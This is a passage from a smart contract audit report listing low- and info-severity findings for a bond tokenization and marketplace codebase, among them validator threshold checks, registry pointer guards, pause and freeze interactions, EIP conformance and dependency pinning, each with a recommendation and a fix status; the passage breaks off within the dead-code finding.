Update from CODESPECT: The issue is fixed in `9e5ac70`.

7.4.12 [Low] `WeightedValidator` allows the voting threshold to be 0

Severity: Low

Section ID: 7.4.12

File(s): `WeightedValidator.sol`

Function(s): `WeightedValidator.onInstall(...)`, `WeightedValidator.renew(...)`

Category: Business Logic / Protocol Design

References: CWE-841 (Improper Enforcement of Behavioral Workflow), CWE-440 (Expected Behavior Violation)

Description: The `WeightedValidator.sol` contract allows users to configure multiple signers for their smart accounts. Each signer is set up with a weight, and for any given signature, there must be enough combined weight to reach or surpass the `threshold` for the signature to be considered valid. However, the contract allows the `threshold` to be 0, as there is no check to prevent it in the `onInstall(...)` and `renew(...)` functions.

Impact: Medium. Any valid signer with weight is able to instantly sign and execute a transaction.

Likelihood: Low. User must have set up the `WeightedValidator` with a `threshold` of 0.

Recommendation(s): Consider not allowing the `threshold` to be 0 in the `onInstall(...)` and `renew(...)` functions.

Source: Codespect manual audit

Client notification:

Status: Fixed

Update from CTU team: Implemented in MR !24. Added validation to prevent initialization or renewal of `WeightedValidator` with a zero voting threshold.

Update from CODESPECT: The issue is fixed in `b246133`.

7.4.13 [Low] `BaseToken.setBondRegistry(...)` has no once-only guard, allowing the token's BondRegistry pointer to be rotated at any time by the owner

Severity: Low

Section ID: 7.4.13

File(s): `BaseToken.sol/L180-L185`, `DependenciesBase.sol/L99-L105`

Function(s): `BaseToken.setBondRegistry(...)`, `DependenciesBase._setBondRegistry(...)`

Category: Token Security / Access Control

References: CWE-284 (Improper Access Control), CWE-20 (Improper Input Validation)

Description: `BaseToken.setBondRegistry(...)` is `onlyOwner` with only a zero-address check: it can be called any number of times to rotate `_bondRegistry` to any non-zero address:

```
function setBondRegistry(address bondRegistryAddr) public virtual onlyOwner {
    bondRegistryAddr.assertAddressNotZero();
    _bondRegistry = bondRegistryAddr;
    emit BondRegistryUpdated(bondRegistryAddr);
}
```

In contrast, the analogous setter in `DependenciesBase` already enforces a once-only write:

```
function _setBondRegistry(address bondRegistry) internal virtual {
    require(bondRegistry != address(0), Errors.ZeroAddress());
    require(_bondRegistry == address(0), Errors.DependenciesBase__BondRegistryAlreadySet());
    ...
}
```

Because all `DEUSSToken.burn(...)` and `DEUSSToken.mint(...)` entry points are gated by `onlyBondRegistry`: which checks `msg.sender == _bondRegistry`: rotating this pointer to an attacker-controlled address elevates that address to full mint and burn authority over all bond tokens. No other validation is performed on the new address.

Impact: Low. Exploitation requires the `DEUSSToken` owner (post-deployment: the governance timelock) to rotate the pointer either during the bootstrap window when the deployer EOA still holds ownership, or through a governance proposal. Under normal operations with a properly configured timelock delay, rotation is detectable and reversible before it can be exploited. The risk is most acute during the bootstrap window before ownership is transferred.

Likelihood: Low. Requires the token owner to act: either an operational error, a compromised deployer EOA during bootstrap, or a malicious governance proposal.

Recommendation(s): Add the same once-only guard that `DependenciesBase._setBondRegistry(...)` already uses: require `_bondRegistry == address(0)` at the top of `BaseToken.setBondRegistry(...)` and introduce a matching `BaseToken__BondRegistryAlreadySet` error.

Source: Codespect manual audit

Client notification:

Status: Fixed

Update from CTU team: Implemented in MR !282. Added a once-only guard to `BaseToken` registry dependency wiring, preventing reassignment of the configured `BondRegistry` address.

Update from CODESPECT: The issue is fixed in `14ae608`.

7.4.14 [Low] `Marketplace.initialize(...)` open-policy fallback allows unrestricted access when `EntityRegistry` is not wired at deployment

Severity: Low

Section ID: 7.4.14

File(s): `MarketplaceBase.sol/L358-L388`, `EntityEligibilityGuard.sol/L53-L62`, `EntityEligibilityGuard.sol/L69-L77`, `Marketplace.sol/L76-L100`

Function(s): `Marketplace.initialize(...)`, `MarketplaceBase.__MarketplaceBase_init(...)`,

`EntityEligibilityGuard._validateEntityWalletEnabled(...)`,`EntityEligibilityGuard._validateEntityTypeAllowed(...)`

Category: Access Control / Deployment Configuration

References: CWE-284 (Improper Access Control)

Description: `Marketplace.initialize(...)` accepts `entityRegistry_` as an optional parameter. If it is passed as `address(0)`, `__MarketplaceBase_init` skips the `_setEntityRegistry` call entirely:

```
if (entityRegistry_ != address(0)) {
    _setEntityRegistry(entityRegistry_);
}
```

All entity eligibility checks: `_validateEntityWalletEnabled(...)` and `_validateEntityTypeAllowed(...)`: short-circuit silently when `_entityRegistry == address(0)`:

```
function _validateEntityWalletEnabled(address wallet) internal view {
    address entityRegistry = _entityRegistry;
    if (entityRegistry == address(0)) {
        return; // no check performed
    }
    ...
}
```

The window between `Marketplace.initialize(...)` completing and the first successful `setEntityRegistry(...)` call by an ADMIN means any address: regardless of KYC or entity registration status: can call `registerOffer(...)`, `acceptOffer(...)`, `expressInterest(...)`, and all other state-mutating entry points without eligibility enforcement. Deals and escrows created during this window are persisted on-chain and are not retroactively invalidated once the registry is wired. `setEntityRegistry` is protected by `onlyRoles(ADMIN)` and has a once-only guard, so wiring it requires an ADMIN role holder to act after initialization. The gap exists for every deployment that does not pass a non-zero `entityRegistry_` at initialization time.

Impact: Low. Any address can participate in the marketplace as buyer or seller with no entity or KYC check during the open-policy window. Offers and deals created in this window persist. The risk is bounded by the deployment ceremony duration and requires `entityRegistry_ = address(0)` to be passed at initialization: a misconfiguration rather than a permissionless exploit.

Likelihood: Low. Triggered only if the deployer intentionally or accidentally passes `address(0)` for `entityRegistry_`. In a correctly sequenced deployment this window does not exist.

Recommendation(s): Require `entityRegistry_` to be non-zero in `Marketplace.initialize(...)`, or change `_validateEntityWalletEnabled(...)` and `_validateEntityTypeAllowed(...)` to revert with a dedicated error when `_entityRegistry == address(0)` instead of silently returning.

Source: Codespect manual audit

Client notification:

Status: Fixed

Update from CTU team: Implemented in MR !292. Marketplace initialization now requires a non-zero `EntityRegistry`, preventing deployment in an unconfigured state.

Update from CODESPECT: The issue is fixed in `82e69a7`.

7.4.15 [Low] `ECDSAValidator` and `WeightedValidator` allow initialization of already initialized accounts

Severity: Low

Section ID: 7.4.15

File(s): `WeightedValidator.sol`, `ECDSAValidator.sol`

Function(s): `WeightedValidator.onInstall(...)`, `ECDSAValidator.onInstall(...)`

Category: Business Logic / Protocol Design

References: CWE-657 (Violation of Secure Design Principles)

Description: Some modules (`Timelock.sol` and `WebAuthnValidator.sol`) correctly verify on initialization that the `msg.sender` is not an already initialized account. However, the `WeightedValidator.sol` and `ECDSAValidator.sol` contracts fail to do so. Instead, their `onInstall(...)` functions overwrite the storage with the new `data` passed.

Impact: Low. The new install data is user's input. If anything wrong was configured user can always re-install with correct data.

Likelihood: Low. The `Kernel.sol` contract uses `nonce` that would prevent that from happening.

Recommendation(s): Consider implementing a check that would make the transaction revert if an initialized user calls the `onInstall(...)` function.

Source: Codespect fuzzing harness

Client notification:

Status: Fixed

Update from CTU team: Implemented in MR !22. Added initialization guards to `ECDSAValidator` and `WeightedValidator` to prevent installation on already initialized accounts.

Update from CODESPECT: The issue is fixed in `0230121`.

7.4.16 [Low] No issuer-rotation/recovery path

Severity: Low

Section ID: 7.4.16

File(s): BondRegistry.sol/L132-L168, BondRegistry.sol/L965-L970, BondRegistry.sol/L319, BaseToken.sol/L286-L292, DEUSSToken.sol/L282-L285

Function(s): BondRegistry.issueBond(...), BondRegistry._requireEnabledIssuer(...), DEUSSToken.mint(...), BaseToken._beforeRoleTransfer(...)

Category: Business Logic / Protocol Design

References: CWE-657 (Violation of Secure Design Principles)

Description: issueBond(...) authorises the caller in two ways. When msg.sender == bond.issuer it calls _requireEnabledIssuer(bond.issuer); on the privileged PUBLISHER path it does not:

```
if (msg.sender == bond.issuer) {
    _requireEnabledIssuer(bond.issuer);
} else {
    require(hasAnyRole(msg.sender, PUBLISHER), Errors.BondRegistry__UnauthorizedIssuer(msg.sender));
}
```

This raises the question of whether a PUBLISHER could issue to a disabled issuer, bypassing the operational expectation that disabling an issuer's EntityRegistry account halts new issuance to that issuer. In practice the expectation is still enforced: issueBond(...) always mints to bond.issuer, and DEUSSToken.mint(...) routes the recipient through _beforeRoleTransfer(address(0), bond.issuer, ...):

```
require(
    to == address(0) || IEntityRegistry(_entityRegistry).isAccountEnabled(to),
    Errors.Token__TransferNotAllowed(from, to, tokenId)
);
```

Issuance to a disabled issuer therefore reverts before any tokens are minted, including on the PUBLISHER path. The actual gap is not the bypass; it is the absence of a recovery mechanism. bond.issuer is written only at creation (_createBond, BondRegistry.sol:319 and BondRegistry.sol:933) and there is no function to rotate it afterward. If an issuer wallet is compromised and its account disabled, every bond whose bond.issuer still points at that wallet becomes permanently unissuable for its remaining supply, and the tokens already minted to that wallet are frozen, because _beforeRoleTransfer also blocks transfers from a disabled account. Any marketplace offers the disabled issuer created likewise cannot be progressed by that account.

Impact: Low. Once an issuer's EntityRegistry account is disabled, for every bond bound to that issuer:

a. remaining issuable supply can never be minted
b. the issuer's existing token balance is frozen;

No on-chain path exists to recover or reassign these bonds. No funds are stolen, but supply and balances tied to the disabled issuer are stranded.

Likelihood: Low. Requires an issuer's EntityRegistry account to be disabled, which is an exceptional administrative action.

Recommendation(s): Introduce a dedicated RBAC-controlled issuer-rotation role, governed through the timelock, that can update bond.issuer for the affected bonds in these exceptional cases. As part of the operational workflow, document the recovery procedure and explicitly account for the disabled issuer's existing token balance and any marketplace offers it created, so that rotating the issuer also restores access to already-minted supply and in-flight offers rather than only unblocking future issuance.

Source: Codespect manual audit

Client notification: Not required for Low

Status: Fixed

Update from CTU team: Implemented in MR !286. A timelocked issuer recovery mechanism has been introduced, allowing authorised governance to rotate the issuer account in exceptional recovery scenarios. This provides a controlled on-chain recovery path for disabled or compromised issuer accounts while preserving the existing security model and governance process.

Update from CODESPECT: The issue is fixed in e885e94.

7.5 Info

7.5.1 [Info] `expressInterest(...)` enforces no per-investor cap, allowing a single registered entity to reserve the full offer inventory and block cancellation

Severity: Info

Section ID: 7.5.1

File(s): `Marketplace.sol/L169-L198`

Function(s): `Marketplace.expressInterest(...)`

Category: Design Observation

References: CWE-657 (Violation of Secure Design Principles)

Description: `expressInterest` enforces no per-investor cap. The only amount constraints are non-zero, within available inventory, and a multiple of lot. If issuers need to enforce concentration limits (for example to comply with diversification policy or regulatory requirements), there is currently no on-chain mechanism to do so.

Impact: Info. This is a design gap with no direct security impact. No funds are at risk and no protocol invariant is violated.

Recommendation(s): If per-investor caps are a desired feature, consider adding an optional `maxInterestPerInvestor` field to `OfferInput` and enforcing it in `expressInterest`. Setting it to `0` would retain the current uncapped behaviour.

Source: Codespect manual audit

Client notification: Not required for Info

Status: Acknowledged

Update from CTU team: We reviewed this finding in the context of the current `INTEREST_DISCOVERY` flow. The absence of a per-investor cap in `expressInterest(...)` is intentional for the current product design. The function allows any registered investor to express interest up to the currently available offer amount, as long as the requested amount satisfies the existing validation rules, including lot-size alignment and available inventory constraints. The possibility of adding a per-investor upper limit was considered during earlier marketplace design discussions. However, after business analysis, this restriction was not included in the current product scope. The current behaviour is therefore accepted as part of the intended platform mechanics rather than treated as a security issue. If concentration limits or diversification requirements become a product or compliance requirement in the future, this can be introduced as a separate feature, for example by adding an optional per-investor cap to the offer configuration. For the current scope, we acknowledge this finding as an intentional design decision.

7.5.2 [Info] Entity type existence has different requirements

Severity: Info

Section ID: 7.5.2

File(s): `EntityRegistry.sol/L634-L639`

Function(s): `EntityRegistry._requireEntityTypeExists(...)`, `EntityRegistry._registerEntity(...)`

Category: Design Observation

References: CWE-657 (Violation of Secure Design Principles)

Description: The `_requireEntityTypeExists(...)` function determines the entities existence if it has its `name` OR `caps` set:

```
function _requireEntityTypeExists(uint256 typeId) internal view {
    // ...
    require(meta.name != bytes32(0) || meta.caps != 0, Errors.ER__EntityTypeNotRegistered(typeId));
}
```

This hints that an entity can exist without its `name` set. However, the `_registerEntity(...)` function requires that the entity's `name` is set for it to exist:

```
function _registerEntity(bytes32 entityId, uint256 typeId, string memory metadataRef) internal {
    // ...
    require(_entityTypeMeta[typeId].name != bytes32(0), Errors.ER__EntityTypeNotRegistered(typeId));
    // ...
}
```

Impact: Info. This is a design gap with no direct security impact. No funds are at risk and no protocol invariant is violated.

Recommendation(s): Consider clearly defining when an `entityId` exists and enforcing the same check through the whole contract.

Source: Codespect manual audit

Client notification: _No response_

Status: Fixed

Update from CTU team: The fix has been implemented in MR !266. Entity type existence checks have been standardized by enforcing non-zero entity type names as the canonical indicator of a registered entity type. This removes the previous inconsistency where some code paths treated entity types with only capability flags set as existing, while others required a defined name.

Update from CODESPECT: The issue is fixed in `14f5ae7`.

7.5.3 [Info] `pauseTokenId(...)` / `unpauseTokenId(...)` cannot curate per-tokenId pauses while global pause is active

Severity: Info

Section ID: 7.5.3

File(s): `BaseToken.sol/L70-L76`, `BaseToken.sol/L88-L94`

Function(s): `BaseToken.pauseTokenId(...)`, `BaseToken.unpauseTokenId(...)`

Category: Design Observation

References: CWE-693 (Protection Mechanism Failure)

Description: `BaseToken.pauseTokenId(...)` and `BaseToken.unpauseTokenId(...)` both include the `whenNotPaused` modifier in addition to the `onlyBondRegistry` access control. As a result, the per- `tokenId` pause configuration cannot be modified while the global `Pausable` state is active.

```
function pauseTokenId(uint256 tokenId) external virtual onlyBondRegistry whenNotPaused {
    require(!_pausedTokenIds[tokenId], Errors.Token__TokenIdAlreadyPaused(tokenId));
    _pausedTokenIds[tokenId] = true;
    emit TokenPaused(tokenId, msg.sender);
}

function unpauseTokenId(uint256 tokenId) external virtual onlyBondRegistry whenNotPaused {
    require(_pausedTokenIds[tokenId], Errors.Token__TokenIdNotPaused(tokenId));
    _pausedTokenIds[tokenId] = false;
    emit TokenUnpaused(tokenId, msg.sender);
}
```

This creates operational friction during incident-response workflows. A natural response sequence would typically be:

a. Trigger a global pause as an emergency umbrella control
b. Selectively suspend affected bonds through `BondRegistry.suspendBond(...)` (internally calling `pauseTokenId(...)`)
c. Remove the global pause while keeping the affected `tokenId`s individually paused;

However, step 2 currently reverts because `pauseTokenId(...)` is gated by `whenNotPaused`. Operators are therefore forced to temporarily lift the global pause before they can curate or adjust the per- `tokenId` pause set, briefly restoring activity across all other bonds. The same operational limitation applies in reverse during `unsuspendBond(...)` / `unpauseTokenId(...)` flows.

Impact: Info. The issue introduces operational rigidity between global and per- `tokenId` pause mechanisms, limiting their ability to function independently during incident handling or compliance workflows. No direct loss of funds or protocol invariant violation was identified.

Recommendation(s): Consider removing `whenNotPaused` from both `pauseTokenId(...)` and `unpauseTokenId(...)`. The `onlyBondRegistry` access restriction together with the existing `_pausedTokenIds[tokenId]` validation logic already enforce sufficient correctness guarantees. Operational legality can remain governed by the higher-level `BondRegistry` state machine and workflow controls.

Source: Codespect manual audit

Client notification: Not required for Info

Status: Fixed

Update from CTU team: We decided to remove `whenNotPaused` only from `pauseTokenId(..)` because, from our perspective, unsuspending a token ID during a global pause weakens the restriction while the higher-level emergency lockdown is still active.

Update from CODESPECT: The issue is fixed in `b31cefa`.

7.5.4 [Info] `freezePartialTokens(...)` / `batchFreezePartialTokens(...)` accept `_protectedAddress` targets

Severity: Info

Section ID: 7.5.4

File(s): `DEUSSToken.sol/L77-L91`, `DEUSSToken.sol/L204-L209`

Function(s): `DEUSSToken.freezePartialTokens(...)`, `DEUSSToken.batchFreezePartialTokens(...)`

Category: Design Observation

References: CWE-693 (Protection Mechanism Failure)

Description: `freezePartialTokens(...)` and `batchFreezePartialTokens(...)` are protected by `TOKEN_FREEZER_ROLE`, but currently accept arbitrary target accounts, including addresses registered as `_protectedAddress`. This includes bootstrap-protected operational addresses such as `EscrowManager`.

```
function freezePartialTokens(address account, uint256 tokenId, uint256 amount)
    external
    onlyRoles(TOKEN_FREEZER_ROLE)
{
    _freezeTokens(account, tokenId, amount); // no `_protectedAddress[account]` check
}
```

If a privileged freezer partially freezes an `EscrowManager` balance for a given `tokenId`, the transfer restrictions enforced within `_beforeTransfer(...)` subsequently apply:

```
amount <= balance - frozen
```

As a consequence, all Marketplace flows relying on escrow settlement for the affected `tokenId` may become blocked, including:

- `acceptOffer(...)` settlement flows,
- `withdraw(...)`,
- `claim(...)`,
- `seize*` operations.

At the same time, privileged recovery mechanisms such as:

- `burn(...)` / `burnBatch(...)`,
- `forcedTransfer(...)` / `batchForcedTransfer(...)`,

cannot resolve the situation because `_beforeRoleTransfer(...)` explicitly rejects privileged operations originating from protected addresses through `Token__AddressProtected(...)`. Recovery therefore becomes entirely dependent on the same `TOKEN_FREEZER_ROLE` actor calling `unfreezePartialTokens(...)`. This behaviour also appears inconsistent with the documented guarantees described in `DEUSSToken.md` under the *"Protected Custody"* section, which states that normal ERC-6909 transfers should remain available for escrowed balances so that marketplace settlement flows can continue functioning.

Impact: Info. No direct loss of funds or invariant violation was identified, as recovery remains possible through the freezer role. However, a single `TOKEN_FREEZER_ROLE` holder can temporarily disrupt all marketplace settlement, withdrawal, claim, and seizure flows for a `tokenId` held within a protected address, with no independent privileged recovery mechanism available.

Recommendation(s): Consider mirroring the protected-address restrictions already enforced on privileged burn and forced-transfer paths by preventing freezes against protected addresses:

```
 function freezePartialTokens(address account, uint256 tokenId, uint256 amount)
     external
     onlyRoles(TOKEN_FREEZER_ROLE)
 {
+    require(!_protectedAddress[account], Errors.Token__AddressProtected(account));
     _freezeTokens(account, tokenId, amount);
 }
```

Apply the equivalent validation within `batchFreezePartialTokens(...)` on a per-item basis.

Source: Codespect manual audit

Client notification: Not required for Info

Status: Fixed

Update from CTU team: The fix has been implemented in MR !270. `freezePartialTokens(...)` and `batchFreezePartialTokens(...)` now reject protected addresses as freeze targets. This prevents privileged freezing of balances held by protected operational accounts

(such as `EscrowManager`), ensuring that escrow settlement, withdrawal, claim, and seizure flows cannot be disrupted through partial token freezes.

Update from CODESPECT: The issue is fixed in `bb94e96`.

7.5.5 [Info] `WeightedValidator.validateUserOp(...)` reverts on signature mismatch instead of returning `SIG_VALIDATION_FAILED`

Severity: Info

Section ID: 7.5.5

File(s): `WeightedValidator.sol`

Function(s): `WeightedValidator.validateUserOp(...)`

Category: Documentation / Code Mismatch; Business Logic / Protocol Design

References: EIP-4337 (Account Contract Interface)

Description: On a failed intermediate guardian signature, `validateUserOp(...)` reverts (`revert InvalidSignature(i)`, L251) rather than returning `SIG_VALIDATION_FAILED` (`1`). ERC-4337 recommends not returning early / reverting on a signature mismatch and instead completing the normal flow and returning the failure code, so the validation step can be gas-estimated. The in-repo `ECDSAValidator` and `WebAuthnValidator` already return the code.

Impact: Gas estimation / simulation of a UserOp carrying a wrong guardian signature reverts instead of yielding a clean failure result. No security impact.

Recommendation(s): Return `SIG_VALIDATION_FAILED` (`1`) on a guardian signature mismatch instead of reverting.

Source: Codespect manual audit

Client notification: Not required for Info

Status: Fixed

Update from CTU team: Implemented in MR !18. Updated `WeightedValidator.validateUserOp(...)` to return `SIG_VALIDATION_FAILED` on signature mismatch instead of reverting.

Update from CODESPECT: The issue is fixed in `98e502e`.

7.5.6 [Info] `BaseToken.approve(...)` is deviating from EIP-6909

Severity: Info

Section ID: 7.5.6

File(s): `BaseToken.sol/L129-L152`, `BaseToken.sol/L199-L210`

Function(s): `BaseToken.approve(...)`, `BaseToken.setOperator(...)`

Category: Documentation / Code Mismatch; Business Logic / Protocol Design

References: EIP-6909 (Minimal Multi-Token Interface)

Description: `BaseToken.approve(...)` (L134) adds a USDT-style zero-first guard on top of EIP-6909's `approve(...)`, whose set semantics assign `allowance = amount` regardless of the prior value:

```
// BaseToken.sol:147
require(currentAllowance == 0 || amount == 0, Errors.Token__ApproveNonZeroToNonZero());
```

A standard-compliant caller doing `approve(spender, id, 100)` then `approve(spender, id, 50)` reverts on the second call; the allowance must first be reset to `0`. The dev comment (L129-133) cites the ERC-20 race condition (ethereum/EIPs issue 20), but EIP-6909 already provides `setOperator(...)` (L202) for race-free delegation, so re-imposing the reset on `approve(...)` is a deviation from the standard rather than a needed mitigation.

Impact: Info. Integrators relying on EIP-6909 `approve(...)` set semantics revert when changing a nonzero allowance in one call, requiring an extra zeroing transaction. No funds are at risk, and exposure is further limited by the `EntityRegistry.canApprove(...)` gate.

Recommendation(s): Either drop the L147 guard so `approve(...)` assigns directly (EIP-6909 conformant, with `setOperator(...)` covering the race-free case), or document the zero-first behaviour in `docs/token/BaseToken.md` §approve and the `IERC6909` override NatSpec as a deliberate deviation.

Source: Codespect manual audit

Client notification: Not required for Info

Status: Fixed

Update from CTU team: Implemented in MR !276. Updated `BaseToken.approve(...)` to align with EIP-6909 allowance set semantics.

Update from CODESPECT: The issue is fixed in `c151004`.

7.5.7 [Info] `FactoryStaker.deployWithFactory(...)` accepts ETH but does not forward it

Severity: Info

Section ID: 7.5.7

File(s): `FactoryStaker.sol`, `KernelFactory.sol`, `ProxyDeployer.sol`

Function(s): `FactoryStaker.deployWithFactory(...)`, `KernelFactory.createAccount(...)`, `ProxyDeployer._deployProxyWithSalt(...)`

Category: Business Logic / Protocol Design

References: SWC-132 (Unexpected Ether balance), closest analog; trapped-ether pattern

Description: `FactoryStaker.deployWithFactory(...)` is declared `external payable`, signalling to callers that ETH may be attached. The function relays to `KernelFactory.createAccount(...)`, which is also declared `payable`, but the call site does not forward `msg.value`, and the downstream `_deployProxyWithSalt(...)` invocation of `IProxyFactory.deployProxyWithSalt(...)` is value-less as well.

```
// FactoryStaker.sol
function deployWithFactory(KernelFactory factory, bytes calldata createData, bytes32 salt)
    external
    payable
    returns (address)
{
    if (!approved[factory]) {
        revert NotApprovedFactory();
    }
    // @audit msg.value is accepted but never forwarded; stays in FactoryStaker
    return factory.createAccount(createData, salt);
}


// KernelFactory.sol
function createAccount(bytes calldata data, bytes32 salt) public payable returns (address) {
    // @audit payable, but the underlying proxy-factory call never receives value
    return _deployProxyWithSalt(templateId, data, salt);
}
```

`FactoryStaker` exposes no path to recover plain native value: `stake(...)`, `unlockStake(...)`, and `withdrawStake(...)` act on the `EntryPoint` stake, not on the contract's own balance, and there is no `receive`/ `fallback`/sweep function.

Impact: On the target EBSI deployment (a permissioned blockchain that does not use native gas value in normal operation), there is no realistic on-chain loss path.

Recommendation(s): Either drop `payable` from `deployWithFactory(...)` and `createAccount(...)` to make the API match behaviour, or forward value end-to-end (`factory.createAccountvalue: msg.value(...)` and a matching `value:`-forwarding `IProxyFactory.deployProxyWithSaltvalue: msg.value(...)` call) so attached value reaches the deployed proxy.

Source: Codespect manual audit

Client notification: Not required for Info

Status: Fixed

Update from CTU team: End-to-end value forwarding is not currently possible because it would require modifications to the EBSI contracts. Therefore, I will drop payable.

Update from CTU team: Implemented in MR !25. Removed the `payable` modifier from `FactoryStaker.deployWithFactory(...)` and `KernelFactory.createAccount(...)`.

Update from CODESPECT: The issue is fixed in `b45d020`.

7.5.8 [Info] `CompanyWallet` cannot receive ERC-721/ERC-1155 via `EscrowManager` `safeTransferFrom(...)`

Severity: Info

Section ID: 7.5.8

File(s): `CompanyWallet.sol/L24-L120`, `EscrowManager.sol/L356-L399`

Function(s): `EscrowManager._transferAsset(...)`, `CompanyWallet` (missing `onERC721Received` / `onERC1155Received`)

Category: External Contract Interaction

References: EIP-721 / EIP-1155 safe-transfer receiver requirement

Description: `EscrowManager._transferAsset(...)` is used both on escrow deposit and on release to the beneficiary. For the `ERC721` and `ERC1155` branches it uses `safeTransferFrom`, which requires a contract recipient to implement `onERC721Received` / `onERC1155Received` and return the magic selector:

```
if (assetType == AssetType.ERC721) {
    require(amount == 1, Errors.EscrowManager__InvalidERC721Amount(amount));
    IERC721(token).safeTransferFrom(from, to, tokenId);
}
if (assetType == AssetType.ERC1155) {
    IERC1155(token).safeTransferFrom(from, to, tokenId, amount, "");
}
```

`CompanyWallet` implements neither receiver interface nor `supportsInterface(...)` and advertises only `ICompanyWallet` and `IERC165`. When a deal beneficiary is a `CompanyWallet`, and the escrowed asset is `ERC721` or `ERC1155`, the release-side `safeTransferFrom` reverts in the receiver hook and the settlement transaction fails. The bond marketplace itself is unaffected: `DEUSSToken` is `ERC6909`, and the `ERC6909` branch uses plain `transferFrom` (no receiver hook), so this is latent and only surfaces if an `ERC721` / `ERC1155` asset is ever allowlisted through `AssetManager` and settled to a `CompanyWallet`.

Impact: No impact on the primary bond flow (`ERC6909`, no receiver hook). If the protocol ever allowlists an `ERC721` or `ERC1155` asset type and a deal settles to a `CompanyWallet` beneficiary, that settlement cannot complete on the normal path.

Recommendation(s): Implement the ERC-721 and ERC-1155 receiver hooks on `CompanyWallet` (or inherit OpenZeppelin's `ERC721Holder` / `ERC1155Holder`) and extend `supportsInterface` accordingly, so a `CompanyWallet` can receive any future allowlisted asset type.

Source: Codespect manual audit

Client notification: Not required for Info

Status: Fixed

Update from CTU team: Implemented in MR !283. Added ERC-721 and ERC-1155 receiver support to `CompanyWallet`.

Update from CODESPECT: The issue is fixed in `2b95383`.

7.5.9 [Info] Trust assumption in Soldeer dependencies

Severity: Info

Section ID: 7.5.9

File(s): `foundry.toml/L35-L41`, `soldeer.lock/L1-L26`

Function(s): N/A (dependency configuration)

Category: Supply Chain / Dependency Management

References: CWE-1357 (Reliance on Insufficiently Trustworthy Component), CWE-494 (Download of Code Without Integrity Check)

Description: The project manages its Solidity dependencies through Soldeer. `@openzeppelin-contracts`, `@openzeppelin-contracts-upgradeable`, `forge-std`, `solady`, and `perimetersec-fuzzlib` are declared with plain registry versions in `foundry.toml`, and `soldeer.lock` resolves them to artefacts hosted in the Soldeer registry's AWS S3 bucket:

```
[dependencies]
"@openzeppelin-contracts" = "5.5.0"
forge-std = "1.9.6"
// ...


url = "https://soldeer-revisions.s3.amazonaws.com/@openzeppelin-contracts/5_5_0_..._contracts.zip"
url = "https://soldeer-revisions.s3.amazonaws.com/forge-std/1_9_6_..._forge-std-1.9.zip"
```

This places a trust assumption on the third-party S3 bucket that serves the Soldeer registry. Supply chain attacks against smart contract tooling are uncommon but not impossible: if that bucket were tampered with, dependency content fetched on a fresh install or a version bump could be malicious.

Impact: If the Soldeer registry bucket were compromised, a malicious dependency version could be introduced into the build when a dependency is added, upgraded, or its lock entry regenerated.

Recommendation(s): Configure Soldeer to pull the core libraries directly from their canonical GitHub repositories pinned to a git tag and commit.

Source: Codespect manual audit

Client notification: Not required for Info

Status: Fixed

Update from CTU team: Implemented in MR !290. Soldeer dependencies were pinned to their canonical Git sources.

Update from CODESPECT: The issue is fixed in `32319f4`.

7.5.10 [Info] Unused Code

Severity: Info

Section ID: 7.5.10

File(s): `WeightedValidator.sol/L21-L45`, `WeightedValidator.sol/L145-L165`, `BondRegistry.sol/L259-L282`, `BondRegistry.sol/L141`, `BondRegistry.sol/L308-L313`, `MarketplaceStorage.sol/L131`, `Errors.sol/L125`, `BondRegistryStorage.sol/L15`

Function(s): `WeightedValidator.onInstall(...)`, `WeightedValidator.renew(...)`, `BondRegistry.publishBond(...)`, `BondRegistry.issueBond(...)`, `BondRegistry.updatePublishedBond(...)`

Category: Code Quality / Dead Code

References: CWE-561 (Dead Code), CWE-1164 (Irrelevant Code)

Description: This issue collects unused, write-only, and unreachable parts of the codebase:

- `WeightedValidator` exposes a temporal-validity feature through the `delay` (`WeightedValidatorStorage`) and `validAfter` (`ProposalStorage`) fields, but neither is enforced. `delay` is parsed from calldata and written in `onInstall(...)` and `renew(...)`, yet the stored `delay` is never read anywhere in the contract, so no waiting period is ever applied. `validAfter` is declared in `ProposalStorage` and is never written or read at all. The "timelock" that the field layout implies does not exist; a caller encoding a `delay` value will see it silently ignored;
- `BondRegistry.publishBond(...)` does not raise `BondRegistry__BondAlreadyExists(bytes12)`, which is referenced by the documentation but is not declared in `src/libs/Errors.sol` and is never raised anywhere. For an existing ISIN, `publishBond` (`BondRegistry.sol:259-282`) takes the successor branch, whose only reachable errors are `BondRegistry__ActiveVersionNotIssuable` (L274) and `BondRegistry__SuccessorAlreadyPublished` (L278). `BondRegistry__BondAlreadyExists` is a phantom selector that should be either declared and used or removed from the codebase/docs;
- `BondRegistry.issueBond(...)` carries `require(bond.tokenAddress != address(0), Errors.BondRegistry__TokenAddressZero())` at `BondRegistry.sol:141`, but the check is unreachable in normal flow: every published bond inherits the locked `_token` in `_createBond`, so `bond.tokenAddress` is never zero for a registered bond. The `BondRegistry__TokenAddressZero()` selector (`Errors.sol:125`) therefore cannot be triggered through the standard lifecycle;
- `BondRegistry.updatePublishedBond(...)` cannot raise `BondRegistry__NonExistentBond(bytes12)` or `BondRegistry__BondAlreadyIssued(bytes12)`. The single status guard `require(bond.status == BondStatus.Published, ... InvalidBondStatus)` at `BondRegistry.sol:313` catches both states first: a non-existent bond (`Unregistered`) and an already-issued bond (`Issued`) both revert with `InvalidBondStatus`. The two error selectors are dead for this function;
- `MarketplaceStorage._makersOfferIds` (`MarketplaceStorage.sol:131`) is write-only. Its only writer is `Marketplace.sol:117` (`_makersOfferIds[msg.sender].push(offerId)`) inside `registerOffer`; it is never read anywhere in the Marketplace cluster, and its `internal` visibility blocks external lens contracts from auto-getter access. The storage serves no current purpose;
- `BondRegistryStorage.BOND_NOMINAL_VALUE_DECIMALS` (`BondRegistryStorage.sol:15`) is declared as `uint256 public constant BOND_NOMINAL_VALUE_DECIMALS = 2` but is never read anywhere in the codebase. The `bondNominalValue` field in `BondInput` and `Bond` (`BondStructs.sol:126`, `BondStructs.sol:180`) accepts any `uint256` value from the caller with no enforcement of the declared decimal precision. Integrators and frontends that rely on this constant to interpret face values will silently produce incorrect results when a `PUBLISHER` supplies a value with a different scale;

Impact: No direct security impact. The unused fields, phantom/unreachable error selectors, and write-only storage mislead readers, integrators, and future maintainers, and waste storage/gas. In particular the dead error selectors advertise revert conditions that can never occur, and the unused `delay`/ `validAfter` fields advertise a timelock guarantee the code does not provide.

